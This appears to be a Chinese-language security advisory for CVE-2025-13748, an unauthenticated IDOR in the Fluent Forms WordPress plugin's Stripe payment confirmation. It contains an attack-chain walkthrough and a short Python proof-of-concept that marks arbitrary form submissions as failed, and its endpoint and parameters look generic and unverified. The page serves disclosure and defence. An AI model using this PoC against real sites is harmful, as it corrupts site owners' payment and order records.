IPBUF安全漏洞报告
English
CVE-2025-13748 CVSS 5.3 中危

CVE-2025-13748 | Fluent Forms WordPress插件IDOR漏洞导致未授权提交状态篡改

披露日期: 2025-12-06

漏洞信息

漏洞编号
CVE-2025-13748
漏洞类型
不安全的直接对象引用(IDOR)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder plugin for WordPress

相关标签

CVE-2025-13748IDORWordPress插件漏洞Fluent Forms未授权访问支付安全Stripe集成漏洞状态篡改中危漏洞

漏洞概述

CVE-2025-13748是WordPress插件Fluent Forms中的一个中等严重性安全漏洞。该插件是WordPress平台上流行的表单构建器,支持联系表单、调查问卷、测验和对话式表单创建。漏洞存在于插件的支付处理模块中,具体位于confirmScaPayment()函数。由于该函数缺少对用户可控键的有效验证,攻击者可以通过操纵submission_id参数来修改任意表单提交的状态记录。此漏洞影响所有版本直至6.1.7版本,攻击者无需认证即可发起攻击。成功利用此漏洞可能导致表单提交数据完整性受损,干扰正常的业务流程,如将已完成的支付订单标记为失败状态。此漏洞由WordFence安全团队于2025年12月6日披露,CVSS评分为5.3,属于中危级别。

技术细节

该漏洞是不安全的直接对象引用(IDOR)类型的安全缺陷,存在于Fluent Forms插件的Stripe内联支付处理模块中。具体来说,confirmScaPayment()函数在处理Stripe SCA(强客户认证)支付确认时,直接使用用户提交的submission_id参数来更新数据库记录,而没有验证当前用户是否有权限操作该submission。攻击者只需要猜测或枚举一个有效的submission_id值,即可构造恶意请求来修改对应提交的状态。例如,攻击者可以将已支付成功的订单状态篡改为failed,导致业务逻辑错误。在代码层面,问题出在app/Modules/Payments/PaymentMethods/Stripe/StripeInlineProcessor.php文件中,该文件在处理支付回调时未进行充分的对象所有权验证。修复版本6.1.8通过在状态更新前增加所有权验证来解决此问题。攻击者利用此漏洞的前提是能够获取或猜测有效的submission_id,这在WordPress环境中可能通过多种方式实现,如日志文件泄露、API枚举等。

攻击链分析

STEP 1
步骤1
攻击者识别目标WordPress网站是否安装并使用存在漏洞的Fluent Forms插件(版本<=6.1.7)
STEP 2
步骤2
攻击者通过日志文件泄露、API枚举、暴力猜测或信息收集等方式获取有效的submission_id值
STEP 3
步骤3
攻击者构造恶意HTTP请求,向插件的支付确认端点发送包含目标submission_id和期望状态值的POST数据
STEP 4
步骤4
由于confirmScaPayment()函数缺少访问控制验证,服务器直接根据用户提供的submission_id更新对应记录的状态
STEP 5
步骤5
目标submission被成功标记为失败状态,导致业务逻辑错误,如已支付订单被错误标记

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-13748 PoC - Fluent Forms IDOR Vulnerability # Target: WordPress site with Fluent Forms plugin <= 6.1.7 TARGET_URL = "https://target-site.com/" SUBMISSION_ID = "12345" # Enumerated or guessed submission ID def exploit_idor(): """ Exploit IDOR vulnerability in Fluent Forms Stripe payment processing This allows unauthenticated attackers to mark arbitrary submissions as failed """ # Construct the vulnerable endpoint endpoint = f"{TARGET_URL}?fluentform_payment_confirm=1" # Malicious request to mark submission as failed payload = { 'submission_id': SUBMISSION_ID, 'status': 'failed', 'action': 'confirmScaPayment' } try: response = requests.post(endpoint, data=payload, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully for submission_id: {SUBMISSION_ID}") print(f"[*] Status code: {response.status_code}") print(f"[*] Response: {response.text[:200]}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("CVE-2025-13748 - Fluent Forms IDOR PoC") print("=" * 50) exploit_idor()

影响范围

Fluent Forms plugin for WordPress <= 6.1.7

防御指南

临时缓解措施
如果无法立即升级,可临时禁用Fluent Forms的Stripe内联支付功能,同时限制对支付回调端点的访问。建议在Web应用防火墙(WAF)上添加规则,监控和阻止对fluentform_payment_confirm端点的异常请求频率。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表